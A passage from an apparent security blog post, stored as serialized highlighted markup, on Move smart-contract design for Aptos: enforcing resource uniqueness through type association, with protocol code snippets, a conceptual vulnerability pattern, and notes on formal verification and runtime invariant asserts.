assert!",{"type":26,"tag":217,"props":157815,"children":157816},{"style":7048},[157817],{"type":32,"value":10932},{"type":26,"tag":217,"props":157819,"children":157820},{"class":7028,"line":7389},[157821,157826,157830,157834,157838,157842,157846,157850,157855],{"type":26,"tag":217,"props":157822,"children":157823},{"style":7149},[157824],{"type":32,"value":157825},"          !",{"type":26,"tag":217,"props":157827,"children":157828},{"style":7054},[157829],{"type":32,"value":102946},{"type":26,"tag":217,"props":157831,"children":157832},{"style":7048},[157833],{"type":32,"value":7289},{"type":26,"tag":217,"props":157835,"children":157836},{"style":7119},[157837],{"type":32,"value":104866},{"type":26,"tag":217,"props":157839,"children":157840},{"style":7048},[157841],{"type":32,"value":7289},{"type":26,"tag":217,"props":157843,"children":157844},{"style":7119},[157845],{"type":32,"value":99019},{"type":26,"tag":217,"props":157847,"children":157848},{"style":7048},[157849],{"type":32,"value":156131},{"type":26,"tag":217,"props":157851,"children":157852},{"style":7054},[157853],{"type":32,"value":157854},"account_addr",{"type":26,"tag":217,"props":157856,"children":157857},{"style":7048},[157858],{"type":32,"value":13841},{"type":26,"tag":217,"props":157860,"children":157861},{"class":7028,"line":7406},[157862,157867,157871,157876],{"type":26,"tag":217,"props":157863,"children":157864},{"style":7048},[157865],{"type":32,"value":157866},"          error",{"type":26,"tag":217,"props":157868,"children":157869},{"style":7149},[157870],{"type":32,"value":56166},{"type":26,"tag":217,"props":157872,"children":157873},{"style":7064},[157874],{"type":32,"value":157875},"already_exists",{"type":26,"tag":217,"props":157877,"children":157878},{"style":7048},[157879],{"type":32,"value":157880},"(ECOIN_INFO_ALREADY_PUBLISHED),\n",{"type":26,"tag":217,"props":157882,"children":157883},{"class":7028,"line":7439},[157884],{"type":26,"tag":217,"props":157885,"children":157886},{"style":7048},[157887],{"type":32,"value":66128},{"type":26,"tag":39,"props":157889,"children":157890},{},[157891,157893,157898],{"type":32,"value":157892},"While this ",{"type":26,"tag":83,"props":157894,"children":157896},{"className":157895},[],[157897],{"type":32,"value":104866},{"type":32,"value":157899}," isn't returned directly, it still ensures uniqueness of the capability objects.",{"type":26,"tag":39,"props":157901,"children":157902},{},[157903,157905,157911],{"type":32,"value":157904},"Similarly, consider ",{"type":26,"tag":163,"props":157906,"children":157909},{"href":157907,"rel":157908},"https://ariesmarkets.xyz/",[167],[157910],{"type":32,"value":156515},{"type":32,"value":157912},", a lending/borrowing protocol building on Aptos.",{"type":26,"tag":39,"props":157914,"children":157915},{},[157916,157918,157924],{"type":32,"value":157917},"Their ",{"type":26,"tag":83,"props":157919,"children":157921},{"className":157920},[],[157922],{"type":32,"value":157923},"ReserveCoinContainer",{"type":32,"value":157925}," struct stores all the relevant data and resources for managing a lending market.",{"type":26,"tag":207,"props":157927,"children":157929},{"className":56140,"code":157928,"language":56139,"meta":8,"style":8},"  /// The struct to hold all the underlying `Coin`s.\n  /// Stored as a resources.\n  struct ReserveCoinContainer\u003Cphantom Coin0> has key {\n      /// Stores the available `Coin`.\n      underlying_coin: Coin\u003CCoin0>,\n      /// Stores the LP `Coin` that act as collateral.\n      collateralised_lp_coin: Coin\u003CLP\u003CCoin0>>,\n      /// Mint capability for LP Coin.\n      mint_capability: MintCapability\u003CLP\u003CCoin0>>,\n      /// Burn capability for LP Coin.\n      burn_capability: BurnCapability\u003CLP\u003CCoin0>>,\n\n      // ...\n  }\n\n",[157930],{"type":26,"tag":83,"props":157931,"children":157932},{"__ignoreMap":8},[157933,157941,157949,157990,157998,158027,158035,158071,158079,158116,158124,158161,158168,158175],{"type":26,"tag":217,"props":157934,"children":157935},{"class":7028,"line":7029},[157936],{"type":26,"tag":217,"props":157937,"children":157938},{"style":7033},[157939],{"type":32,"value":157940},"  /// The struct to hold all the underlying `Coin`s.\n",{"type":26,"tag":217,"props":157942,"children":157943},{"class":7028,"line":6770},[157944],{"type":26,"tag":217,"props":157945,"children":157946},{"style":7033},[157947],{"type":32,"value":157948},"  /// Stored as a resources.\n",{"type":26,"tag":217,"props":157950,"children":157951},{"class":7028,"line":6779},[157952,157956,157961,157965,157969,157974,157978,157982,157986],{"type":26,"tag":217,"props":157953,"children":157954},{"style":7154},[157955],{"type":32,"value":106441},{"type":26,"tag":217,"props":157957,"children":157958},{"style":7119},[157959],{"type":32,"value":157960}," ReserveCoinContainer",{"type":26,"tag":217,"props":157962,"children":157963},{"style":7048},[157964],{"type":32,"value":7289},{"type":26,"tag":217,"props":157966,"children":157967},{"style":7054},[157968],{"type":32,"value":98959},{"type":26,"tag":217,"props":157970,"children":157971},{"style":7119},[157972],{"type":32,"value":157973}," Coin0",{"type":26,"tag":217,"props":157975,"children":157976},{"style":7048},[157977],{"type":32,"value":33564},{"type":26,"tag":217,"props":157979,"children":157980},{"style":7054},[157981],{"type":32,"value":98973},{"type":26,"tag":217,"props":157983,"children":157984},{"style":7054},[157985],{"type":32,"value":78245},{"type":26,"tag":217,"props":157987,"children":157988},{"style":7048},[157989],{"type":32,"value":8064},{"type":26,"tag":217,"props":157991,"children":157992},{"class":7028,"line":7140},[157993],{"type":26,"tag":217,"props":157994,"children":157995},{"style":7033},[157996],{"type":32,"value":157997},"      /// Stores the available `Coin`.\n",{"type":26,"tag":217,"props":157999,"children":158000},{"class":7028,"line":7165},[158001,158006,158010,158014,158018,158023],{"type":26,"tag":217,"props":158002,"children":158003},{"style":7054},[158004],{"type":32,"value":158005},"      underlying_coin",{"type":26,"tag":217,"props":158007,"children":158008},{"style":7149},[158009],{"type":32,"value":1473},{"type":26,"tag":217,"props":158011,"children":158012},{"style":7119},[158013],{"type":32,"value":98950},{"type":26,"tag":217,"props":158015,"children":158016},{"style":7048},[158017],{"type":32,"value":7289},{"type":26,"tag":217,"props":158019,"children":158020},{"style":7119},[158021],{"type":32,"value":158022},"Coin0",{"type":26,"tag":217,"props":158024,"children":158025},{"style":7048},[158026],{"type":32,"value":77713},{"type":26,"tag":217,"props":158028,"children":158029},{"class":7028,"line":7178},[158030],{"type":26,"tag":217,"props":158031,"children":158032},{"style":7033},[158033],{"type":32,"value":158034},"      /// Stores the LP `Coin` that act as collateral.\n",{"type":26,"tag":217,"props":158036,"children":158037},{"class":7028,"line":7389},[158038,158043,158047,158051,158055,158059,158063,158067],{"type":26,"tag":217,"props":158039,"children":158040},{"style":7054},[158041],{"type":32,"value":158042},"      collateralised_lp_coin",{"type":26,"tag":217,"props":158044,"children":158045},{"style":7149},[158046],{"type":32,"value":1473},{"type":26,"tag":217,"props":158048,"children":158049},{"style":7119},[158050],{"type":32,"value":98950},{"type":26,"tag":217,"props":158052,"children":158053},{"style":7048},[158054],{"type":32,"value":7289},{"type":26,"tag":217,"props":158056,"children":158057},{"style":7119},[158058],{"type":32,"value":157468},{"type":26,"tag":217,"props":158060,"children":158061},{"style":7048},[158062],{"type":32,"value":7289},{"type":26,"tag":217,"props":158064,"children":158065},{"style":7119},[158066],{"type":32,"value":158022},{"type":26,"tag":217,"props":158068,"children":158069},{"style":7048},[158070],{"type":32,"value":144073},{"type":26,"tag":217,"props":158072,"children":158073},{"class":7028,"line":7406},[158074],{"type":26,"tag":217,"props":158075,"children":158076},{"style":7033},[158077],{"type":32,"value":158078},"      /// Mint capability for LP Coin.\n",{"type":26,"tag":217,"props":158080,"children":158081},{"class":7028,"line":7439},[158082,158087,158091,158096,158100,158104,158108,158112],{"type":26,"tag":217,"props":158083,"children":158084},{"style":7054},[158085],{"type":32,"value":158086},"      mint_capability",{"type":26,"tag":217,"props":158088,"children":158089},{"style":7149},[158090],{"type":32,"value":1473},{"type":26,"tag":217,"props":158092,"children":158093},{"style":7119},[158094],{"type":32,"value":158095}," MintCapability",{"type":26,"tag":217,"props":158097,"children":158098},{"style":7048},[158099],{"type":32,"value":7289},{"type":26,"tag":217,"props":158101,"children":158102},{"style":7119},[158103],{"type":32,"value":157468},{"type":26,"tag":217,"props":158105,"children":158106},{"style":7048},[158107],{"type":32,"value":7289},{"type":26,"tag":217,"props":158109,"children":158110},{"style":7119},[158111],{"type":32,"value":158022},{"type":26,"tag":217,"props":158113,"children":158114},{"style":7048},[158115],{"type":32,"value":144073},{"type":26,"tag":217,"props":158117,"children":158118},{"class":7028,"line":7487},[158119],{"type":26,"tag":217,"props":158120,"children":158121},{"style":7033},[158122],{"type":32,"value":158123},"      /// Burn capability for LP Coin.\n",{"type":26,"tag":217,"props":158125,"children":158126},{"class":7028,"line":7524},[158127,158132,158136,158141,158145,158149,158153,158157],{"type":26,"tag":217,"props":158128,"children":158129},{"style":7054},[158130],{"type":32,"value":158131},"      burn_capability",{"type":26,"tag":217,"props":158133,"children":158134},{"style":7149},[158135],{"type":32,"value":1473},{"type":26,"tag":217,"props":158137,"children":158138},{"style":7119},[158139],{"type":32,"value":158140}," BurnCapability",{"type":26,"tag":217,"props":158142,"children":158143},{"style":7048},[158144],{"type":32,"value":7289},{"type":26,"tag":217,"props":158146,"children":158147},{"style":7119},[158148],{"type":32,"value":157468},{"type":26,"tag":217,"props":158150,"children":158151},{"style":7048},[158152],{"type":32,"value":7289},{"type":26,"tag":217,"props":158154,"children":158155},{"style":7119},[158156],{"type":32,"value":158022},{"type":26,"tag":217,"props":158158,"children":158159},{"style":7048},[158160],{"type":32,"value":144073},{"type":26,"tag":217,"props":158162,"children":158163},{"class":7028,"line":7553},[158164],{"type":26,"tag":217,"props":158165,"children":158166},{"emptyLinePlaceholder":17},[158167],{"type":32,"value":7817},{"type":26,"tag":217,"props":158169,"children":158170},{"class":7028,"line":7570},[158171],{"type":26,"tag":217,"props":158172,"children":158173},{"style":7033},[158174],{"type":32,"value":157723},{"type":26,"tag":217,"props":158176,"children":158177},{"class":7028,"line":7621},[158178],{"type":26,"tag":217,"props":158179,"children":158180},{"style":7048},[158181],{"type":32,"value":16086},{"type":26,"tag":39,"props":158183,"children":158184},{},[158185,158187,158192],{"type":32,"value":158186},"When creating a ",{"type":26,"tag":83,"props":158188,"children":158190},{"className":158189},[],[158191],{"type":32,"value":157923},{"type":32,"value":158193},", uniqueness is implicitly enforced by moving it into a hardcoded address.",{"type":26,"tag":207,"props":158195,"children":158197},{"className":56140,"code":158196,"language":56139,"meta":8,"style":8},"  public(friend) fun create\u003CCoin0>(\n      lp_store: &signer,\n      // ...\n  ) acquires Reserves {\n      lp::assert_is_lp_store(signer::address_of(lp_store));\n\n      // ...\n\n      move_to(lp_store, ReserveCoinContainer\u003CCoin0> {\n        // ...\n      });\n",[158198],{"type":26,"tag":83,"props":158199,"children":158200},{"__ignoreMap":8},[158201,158241,158265,158272,158293,158335,158342,158349,158356,158392,158399],{"type":26,"tag":217,"props":158202,"children":158203},{"class":7028,"line":7029},[158204,158209,158213,158217,158221,158225,158229,158233,158237],{"type":26,"tag":217,"props":158205,"children":158206},{"style":7064},[158207],{"type":32,"value":158208},"  public",{"type":26,"tag":217,"props":158210,"children":158211},{"style":7048},[158212],{"type":32,"value":1851},{"type":26,"tag":217,"props":158214,"children":158215},{"style":7054},[158216],{"type":32,"value":101585},{"type":26,"tag":217,"props":158218,"children":158219},{"style":7048},[158220],{"type":32,"value":8380},{"type":26,"tag":217,"props":158222,"children":158223},{"style":7054},[158224],{"type":32,"value":101594},{"type":26,"tag":217,"props":158226,"children":158227},{"style":7054},[158228],{"type":32,"value":141747},{"type":26,"tag":217,"props":158230,"children":158231},{"style":7048},[158232],{"type":32,"value":7289},{"type":26,"tag":217,"props":158234,"children":158235},{"style":7119},[158236],{"type":32,"value":158022},{"type":26,"tag":217,"props":158238,"children":158239},{"style":7048},[158240],{"type":32,"value":56861},{"type":26,"tag":217,"props":158242,"children":158243},{"class":7028,"line":6770},[158244,158249,158253,158257,158261],{"type":26,"tag":217,"props":158245,"children":158246},{"style":7054},[158247],{"type":32,"value":158248},"      lp_store",{"type":26,"tag":217,"props":158250,"children":158251},{"style":7149},[158252],{"type":32,"value":1473},{"type":26,"tag":217,"props":158254,"children":158255},{"style":7149},[158256],{"type":32,"value":10222},{"type":26,"tag":217,"props":158258,"children":158259},{"style":7054},[158260],{"type":32,"value":79834},{"type":26,"tag":217,"props":158262,"children":158263},{"style":7048},[158264],{"type":32,"value":10953},{"type":26,"tag":217,"props":158266,"children":158267},{"class":7028,"line":6779},[158268],{"type":26,"tag":217,"props":158269,"children":158270},{"style":7033},[158271],{"type":32,"value":157723},{"type":26,"tag":217,"props":158273,"children":158274},{"class":7028,"line":7140},[158275,158280,158284,158289],{"type":26,"tag":217,"props":158276,"children":158277},{"style":7048},[158278],{"type":32,"value":158279},"  ) ",{"type":26,"tag":217,"props":158281,"children":158282},{"style":7054},[158283],{"type":32,"value":99705},{"type":26,"tag":217,"props":158285,"children":158286},{"style":7119},[158287],{"type":32,"value":158288}," Reserves",{"type":26,"tag":217,"props":158290,"children":158291},{"style":7048},[158292],{"type":32,"value":8064},{"type":26,"tag":217,"props":158294,"children":158295},{"class":7028,"line":7165},[158296,158301,158305,158310,158314,158318,158322,158326,158331],{"type":26,"tag":217,"props":158297,"children":158298},{"style":7048},[158299],{"type":32,"value":158300},"      lp",{"type":26,"tag":217,"props":158302,"children":158303},{"style":7149},[158304],{"type":32,"value":56166},{"type":26,"tag":217,"props":158306,"children":158307},{"style":7064},[158308],{"type":32,"value":158309},"assert_is_lp_store",{"type":26,"tag":217,"props":158311,"children":158312},{"style":7048},[158313],{"type":32,"value":100709},{"type":26,"tag":217,"props":158315,"children":158316},{"style":7149},[158317],{"type":32,"value":56166},{"type":26,"tag":217,"props":158319,"children":158320},{"style":7064},[158321],{"type":32,"value":100718},{"type":26,"tag":217,"props":158323,"children":158324},{"style":7048},[158325],{"type":32,"value":1851},{"type":26,"tag":217,"props":158327,"children":158328},{"style":7054},[158329],{"type":32,"value":158330},"lp_store",{"type":26,"tag":217,"props":158332,"children":158333},{"style":7048},[158334],{"type":32,"value":8697},{"type":26,"tag":217,"props":158336,"children":158337},{"class":7028,"line":7178},[158338],{"type":26,"tag":217,"props":158339,"children":158340},{"emptyLinePlaceholder":17},[158341],{"type":32,"value":7817},{"type":26,"tag":217,"props":158343,"children":158344},{"class":7028,"line":7389},[158345],{"type":26,"tag":217,"props":158346,"children":158347},{"style":7033},[158348],{"type":32,"value":157723},{"type":26,"tag":217,"props":158350,"children":158351},{"class":7028,"line":7406},[158352],{"type":26,"tag":217,"props":158353,"children":158354},{"emptyLinePlaceholder":17},[158355],{"type":32,"value":7817},{"type":26,"tag":217,"props":158357,"children":158358},{"class":7028,"line":7439},[158359,158364,158368,158372,158376,158380,158384,158388],{"type":26,"tag":217,"props":158360,"children":158361},{"style":7064},[158362],{"type":32,"value":158363},"      move_to",{"type":26,"tag":217,"props":158365,"children":158366},{"style":7048},[158367],{"type":32,"value":1851},{"type":26,"tag":217,"props":158369,"children":158370},{"style":7054},[158371],{"type":32,"value":158330},{"type":26,"tag":217,"props":158373,"children":158374},{"style":7048},[158375],{"type":32,"value":7599},{"type":26,"tag":217,"props":158377,"children":158378},{"style":7119},[158379],{"type":32,"value":157923},{"type":26,"tag":217,"props":158381,"children":158382},{"style":7048},[158383],{"type":32,"value":7289},{"type":26,"tag":217,"props":158385,"children":158386},{"style":7119},[158387],{"type":32,"value":158022},{"type":26,"tag":217,"props":158389,"children":158390},{"style":7048},[158391],{"type":32,"value":77772},{"type":26,"tag":217,"props":158393,"children":158394},{"class":7028,"line":7487},[158395],{"type":26,"tag":217,"props":158396,"children":158397},{"style":7033},[158398],{"type":32,"value":157310},{"type":26,"tag":217,"props":158400,"children":158401},{"class":7028,"line":7524},[158402],{"type":26,"tag":217,"props":158403,"children":158404},{"style":7048},[158405],{"type":32,"value":66089},{"type":26,"tag":39,"props":158407,"children":158408},{},[158409],{"type":32,"value":158410},"In both these instances, type association only works because we create exactly one instance per type.",{"type":26,"tag":39,"props":158412,"children":158413},{},[158414,158416,158422,158423,158429,158430,158435],{"type":32,"value":158415},"On the other hand, consider if you have a ",{"type":26,"tag":83,"props":158417,"children":158419},{"className":158418},[],[158420],{"type":32,"value":158421},"Position\u003CT>",{"type":32,"value":77509},{"type":26,"tag":83,"props":158424,"children":158426},{"className":158425},[],[158427],{"type":32,"value":158428},"Market\u003CT>",{"type":32,"value":5594},{"type":26,"tag":83,"props":158431,"children":158433},{"className":158432},[],[158434],{"type":32,"value":178},{"type":32,"value":158436}," is the coin type.",{"type":26,"tag":207,"props":158438,"children":158440},{"className":56140,"code":158439,"language":56139,"meta":8,"style":8},"    struct Market\u003Cphantom T> {\n        reserves: Coin\u003CT>,\n        // ...\n    }\n\n    struct Position\u003Cphantom T> {\n        amount: u64,\n        // ...\n    }\n",[158441],{"type":26,"tag":83,"props":158442,"children":158443},{"__ignoreMap":8},[158444,158472,158500,158507,158514,158521,158548,158567,158574],{"type":26,"tag":217,"props":158445,"children":158446},{"class":7028,"line":7029},[158447,158451,158456,158460,158464,158468],{"type":26,"tag":217,"props":158448,"children":158449},{"style":7154},[158450],{"type":32,"value":14905},{"type":26,"tag":217,"props":158452,"children":158453},{"style":7119},[158454],{"type":32,"value":158455}," Market",{"type":26,"tag":217,"props":158457,"children":158458},{"style":7048},[158459],{"type":32,"value":7289},{"type":26,"tag":217,"props":158461,"children":158462},{"style":7054},[158463],{"type":32,"value":98959},{"type":26,"tag":217,"props":158465,"children":158466},{"style":7119},[158467],{"type":32,"value":74722},{"type":26,"tag":217,"props":158469,"children":158470},{"style":7048},[158471],{"type":32,"value":77772},{"type":26,"tag":217,"props":158473,"children":158474},{"class":7028,"line":6770},[158475,158480,158484,158488,158492,158496],{"type":26,"tag":217,"props":158476,"children":158477},{"style":7054},[158478],{"type":32,"value":158479},"        reserves",{"type":26,"tag":217,"props":158481,"children":158482},{"style":7149},[158483],{"type":32,"value":1473},{"type":26,"tag":217,"props":158485,"children":158486},{"style":7119},[158487],{"type":32,"value":98950},{"type":26,"tag":217,"props":158489,"children":158490},{"style":7048},[158491],{"type":32,"value":7289},{"type":26,"tag":217,"props":158493,"children":158494},{"style":7119},[158495],{"type":32,"value":178},{"type":26,"tag":217,"props":158497,"children":158498},{"style":7048},[158499],{"type":32,"value":77713},{"type":26,"tag":217,"props":158501,"children":158502},{"class":7028,"line":6779},[158503],{"type":26,"tag":217,"props":158504,"children":158505},{"style":7033},[158506],{"type":32,"value":157310},{"type":26,"tag":217,"props":158508,"children":158509},{"class":7028,"line":7140},[158510],{"type":26,"tag":217,"props":158511,"children":158512},{"style":7048},[158513],{"type":32,"value":9754},{"type":26,"tag":217,"props":158515,"children":158516},{"class":7028,"line":7165},[158517],{"type":26,"tag":217,"props":158518,"children":158519},{"emptyLinePlaceholder":17},[158520],{"type":32,"value":7817},{"type":26,"tag":217,"props":158522,"children":158523},{"class":7028,"line":7178},[158524,158528,158532,158536,158540,158544],{"type":26,"tag":217,"props":158525,"children":158526},{"style":7154},[158527],{"type":32,"value":14905},{"type":26,"tag":217,"props":158529,"children":158530},{"style":7119},[158531],{"type":32,"value":85952},{"type":26,"tag":217,"props":158533,"children":158534},{"style":7048},[158535],{"type":32,"value":7289},{"type":26,"tag":217,"props":158537,"children":158538},{"style":7054},[158539],{"type":32,"value":98959},{"type":26,"tag":217,"props":158541,"children":158542},{"style":7119},[158543],{"type":32,"value":74722},{"type":26,"tag":217,"props":158545,"children":158546},{"style":7048},[158547],{"type":32,"value":77772},{"type":26,"tag":217,"props":158549,"children":158550},{"class":7028,"line":7389},[158551,158555,158559,158563],{"type":26,"tag":217,"props":158552,"children":158553},{"style":7054},[158554],{"type":32,"value":100479},{"type":26,"tag":217,"props":158556,"children":158557},{"style":7149},[158558],{"type":32,"value":1473},{"type":26,"tag":217,"props":158560,"children":158561},{"style":7119},[158562],{"type":32,"value":91146},{"type":26,"tag":217,"props":158564,"children":158565},{"style":7048},[158566],{"type":32,"value":10953},{"type":26,"tag":217,"props":158568,"children":158569},{"class":7028,"line":7406},[158570],{"type":26,"tag":217,"props":158571,"children":158572},{"style":7033},[158573],{"type":32,"value":157310},{"type":26,"tag":217,"props":158575,"children":158576},{"class":7028,"line":7439},[158577],{"type":26,"tag":217,"props":158578,"children":158579},{"style":7048},[158580],{"type":32,"value":9754},{"type":26,"tag":39,"props":158582,"children":158583},{},[158584,158585,158590,158592,158597],{"type":32,"value":18009},{"type":26,"tag":83,"props":158586,"children":158588},{"className":158587},[],[158589],{"type":32,"value":158428},{"type":32,"value":158591}," isn't a unique type -- or in other words if you're able to create more than one instance of a market per type ",{"type":26,"tag":83,"props":158593,"children":158595},{"className":158594},[],[158596],{"type":32,"value":178},{"type":32,"value":158598}," -- you might be able to pass in the incorrect market for a given position. This is a common vulnerability pattern on Solana.",{"type":26,"tag":39,"props":158600,"children":158601},{},[158602],{"type":32,"value":158603},"Dynamic iteration of types is also impossible (at least as currently designed by the Move VM) leading to massive headaches for developers. In these scenarios, we empirically observe developers defaulting back to type reflection APIs, complicating code unnecessarily. Security at the expense of usability comes at the expense of security.",{"type":26,"tag":207,"props":158605,"children":158607},{"className":56140,"code":158606,"language":56139,"meta":8,"style":8},"    /// Get the price of the token per lamport.\n    public fun get_price(type_info: TypeInfo): Decimal acquires Oracle {\n        let oracle = borrow_global_mut\u003COracle>(@oracle);\n        let price = table::borrow_mut_with_default\u003CTypeInfo, Decimal>(\n            &mut oracle.prices,\n            type_info,\n            decimal::one()\n        );\n        *price\n    }\n",[158608],{"type":26,"tag":83,"props":158609,"children":158610},{"__ignoreMap":8},[158611,158619,158679,158726,158778,158802,158814,158835,158842,158854],{"type":26,"tag":217,"props":158612,"children":158613},{"class":7028,"line":7029},[158614],{"type":26,"tag":217,"props":158615,"children":158616},{"style":7033},[158617],{"type":32,"value":158618},"    /// Get the price of the token per lamport.\n",{"type":26,"tag":217,"props":158620,"children":158621},{"class":7028,"line":6770},[158622,158626,158630,158635,158639,158644,158648,158653,158657,158661,158666,158670,158675],{"type":26,"tag":217,"props":158623,"children":158624},{"style":7054},[158625],{"type":32,"value":56894},{"type":26,"tag":217,"props":158627,"children":158628},{"style":7054},[158629],{"type":32,"value":64784},{"type":26,"tag":217,"props":158631,"children":158632},{"style":7064},[158633],{"type":32,"value":158634}," get_price",{"type":26,"tag":217,"props":158636,"children":158637},{"style":7048},[158638],{"type":32,"value":1851},{"type":26,"tag":217,"props":158640,"children":158641},{"style":7054},[158642],{"type":32,"value":158643},"type_info",{"type":26,"tag":217,"props":158645,"children":158646},{"style":7149},[158647],{"type":32,"value":1473},{"type":26,"tag":217,"props":158649,"children":158650},{"style":7119},[158651],{"type":32,"value":158652}," TypeInfo",{"type":26,"tag":217,"props":158654,"children":158655},{"style":7048},[158656],{"type":32,"value":1889},{"type":26,"tag":217,"props":158658,"children":158659},{"style":7149},[158660],{"type":32,"value":1473},{"type":26,"tag":217,"props":158662,"children":158663},{"style":7119},[158664],{"type":32,"value":158665}," Decimal",{"type":26,"tag":217,"props":158667,"children":158668},{"style":7054},[158669],{"type":32,"value":104550},{"type":26,"tag":217,"props":158671,"children":158672},{"style":7119},[158673],{"type":32,"value":158674}," Oracle",{"type":26,"tag":217,"props":158676,"children":158677},{"style":7048},[158678],{"type":32,"value":8064},{"type":26,"tag":217,"props":158680,"children":158681},{"class":7028,"line":6779},[158682,158686,158691,158695,158699,158703,158708,158712,158717,158722],{"type":26,"tag":217,"props":158683,"children":158684},{"style":7154},[158685],{"type":32,"value":91366},{"type":26,"tag":217,"props":158687,"children":158688},{"style":7054},[158689],{"type":32,"value":158690}," oracle",{"type":26,"tag":217,"props":158692,"children":158693},{"style":7149},[158694],{"type":32,"value":8993},{"type":26,"tag":217,"props":158696,"children":158697},{"style":7054},[158698],{"type":32,"value":103008},{"type":26,"tag":217,"props":158700,"children":158701},{"style":7048},[158702],{"type":32,"value":7289},{"type":26,"tag":217,"props":158704,"children":158705},{"style":7119},[158706],{"type":32,"value":158707},"Oracle",{"type":26,"tag":217,"props":158709,"children":158710},{"style":7048},[158711],{"type":32,"value":100384},{"type":26,"tag":217,"props":158713,"children":158714},{"style":7149},[158715],{"type":32,"value":158716},"@",{"type":26,"tag":217,"props":158718,"children":158719},{"style":7054},[158720],{"type":32,"value":158721},"oracle",{"type":26,"tag":217,"props":158723,"children":158724},{"style":7048},[158725],{"type":32,"value":7669},{"type":26,"tag":217,"props":158727,"children":158728},{"class":7028,"line":7140},[158729,158733,158738,158742,158747,158751,158756,158760,158765,158769,158774],{"type":26,"tag":217,"props":158730,"children":158731},{"style":7154},[158732],{"type":32,"value":91366},{"type":26,"tag":217,"props":158734,"children":158735},{"style":7054},[158736],{"type":32,"value":158737}," price",{"type":26,"tag":217,"props":158739,"children":158740},{"style":7149},[158741],{"type":32,"value":8993},{"type":26,"tag":217,"props":158743,"children":158744},{"style":7048},[158745],{"type":32,"value":158746}," table",{"type":26,"tag":217,"props":158748,"children":158749},{"style":7149},[158750],{"type":32,"value":56166},{"type":26,"tag":217,"props":158752,"children":158753},{"style":7054},[158754],{"type":32,"value":158755},"borrow_mut_with_default",{"type":26,"tag":217,"props":158757,"children":158758},{"style":7048},[158759],{"type":32,"value":7289},{"type":26,"tag":217,"props":158761,"children":158762},{"style":7119},[158763],{"type":32,"value":158764},"TypeInfo",{"type":26,"tag":217,"props":158766,"children":158767},{"style":7048},[158768],{"type":32,"value":7599},{"type":26,"tag":217,"props":158770,"children":158771},{"style":7119},[158772],{"type":32,"value":158773},"Decimal",{"type":26,"tag":217,"props":158775,"children":158776},{"style":7048},[158777],{"type":32,"value":56861},{"type":26,"tag":217,"props":158779,"children":158780},{"class":7028,"line":7165},[158781,158785,158789,158793,158797],{"type":26,"tag":217,"props":158782,"children":158783},{"style":7149},[158784],{"type":32,"value":91254},{"type":26,"tag":217,"props":158786,"children":158787},{"style":7154},[158788],{"type":32,"value":90786},{"type":26,"tag":217,"props":158790,"children":158791},{"style":7054},[158792],{"type":32,"value":158690},{"type":26,"tag":217,"props":158794,"children":158795},{"style":7149},[158796],{"type":32,"value":180},{"type":26,"tag":217,"props":158798,"children":158799},{"style":7048},[158800],{"type":32,"value":158801},"prices,\n",{"type":26,"tag":217,"props":158803,"children":158804},{"class":7028,"line":7178},[158805,158810],{"type":26,"tag":217,"props":158806,"children":158807},{"style":7054},[158808],{"type":32,"value":158809},"            type_info",{"type":26,"tag":217,"props":158811,"children":158812},{"style":7048},[158813],{"type":32,"value":10953},{"type":26,"tag":217,"props":158815,"children":158816},{"class":7028,"line":7389},[158817,158822,158826,158831],{"type":26,"tag":217,"props":158818,"children":158819},{"style":7048},[158820],{"type":32,"value":158821},"            decimal",{"type":26,"tag":217,"props":158823,"children":158824},{"style":7149},[158825],{"type":32,"value":56166},{"type":26,"tag":217,"props":158827,"children":158828},{"style":7064},[158829],{"type":32,"value":158830},"one",{"type":26,"tag":217,"props":158832,"children":158833},{"style":7048},[158834],{"type":32,"value":64888},{"type":26,"tag":217,"props":158836,"children":158837},{"class":7028,"line":7406},[158838],{"type":26,"tag":217,"props":158839,"children":158840},{"style":7048},[158841],{"type":32,"value":63576},{"type":26,"tag":217,"props":158843,"children":158844},{"class":7028,"line":7439},[158845,158849],{"type":26,"tag":217,"props":158846,"children":158847},{"style":7149},[158848],{"type":32,"value":112985},{"type":26,"tag":217,"props":158850,"children":158851},{"style":7054},[158852],{"type":32,"value":158853},"price\n",{"type":26,"tag":217,"props":158855,"children":158856},{"class":7028,"line":7487},[158857],{"type":26,"tag":217,"props":158858,"children":158859},{"style":7048},[158860],{"type":32,"value":9754},{"type":26,"tag":39,"props":158862,"children":158863},{},[158864,158866,158871],{"type":32,"value":158865},"Type association feels like a proxy for the intended pattern -- associating resources with instances. It's very useful being able to store a reference to an ",{"type":26,"tag":65,"props":158867,"children":158868},{},[158869],{"type":32,"value":158870},"instance",{"type":32,"value":158872}," of another resource (which is possible in Diem style move).",{"type":26,"tag":39,"props":158874,"children":158875},{},[158876],{"type":32,"value":158877},"In summary, when using type systems to bind resources to each other, it's important to either",{"type":26,"tag":6712,"props":158879,"children":158880},{},[158881,158886],{"type":26,"tag":2044,"props":158882,"children":158883},{},[158884],{"type":32,"value":158885},"Have unique initializers for your resources",{"type":26,"tag":2044,"props":158887,"children":158888},{},[158889],{"type":32,"value":158890},"Associate resources with instances directly",{"type":26,"tag":27,"props":158892,"children":158894},{"id":158893},"formal-verification",[158895],{"type":32,"value":158896},"Formal Verification",{"type":26,"tag":39,"props":158898,"children":158899},{},[158900],{"type":32,"value":158901},"Formal verification is another exciting feature.",{"type":26,"tag":39,"props":158903,"children":158904},{},[158905],{"type":32,"value":158906},"As part of our work with protocols, we actively use formal verification to prove aspects of security.",{"type":26,"tag":39,"props":158908,"children":158909},{},[158910,158912,158917],{"type":32,"value":158911},"However, this isn't a silver bullet. The key is figuring out ",{"type":26,"tag":65,"props":158913,"children":158914},{},[158915],{"type":32,"value":158916},"what",{"type":32,"value":158918}," to prove.",{"type":26,"tag":39,"props":158920,"children":158921},{},[158922,158924,158931],{"type":32,"value":158923},"One obvious idea might be a properties across a particular function. For example, we might want to ensure that a swap doesn't reduce the value of the pool -- similar to the ",{"type":26,"tag":163,"props":158925,"children":158928},{"href":158926,"rel":158927},"https://osec.io/blog/reports/2022-04-26-spl-swap-rounding/",[167],[158929],{"type":32,"value":158930},"Solana AMM rounding issue",{"type":32,"value":158932}," we reported.",{"type":26,"tag":39,"props":158934,"children":158935},{},[158936],{"type":32,"value":158937},"However, this could also be checked with a simple runtime assert. For example, we recommended Pontem assert that liquidity pool token values are strictly increasing.",{"type":26,"tag":207,"props":158939,"children":158941},{"className":56140,"code":158940,"language":56139,"meta":8,"style":8},"  let cmp = u256::compare(&lp_value_after_swap_and_fee, &lp_value_before_swap_u256);\n  assert!(cmp == 2, 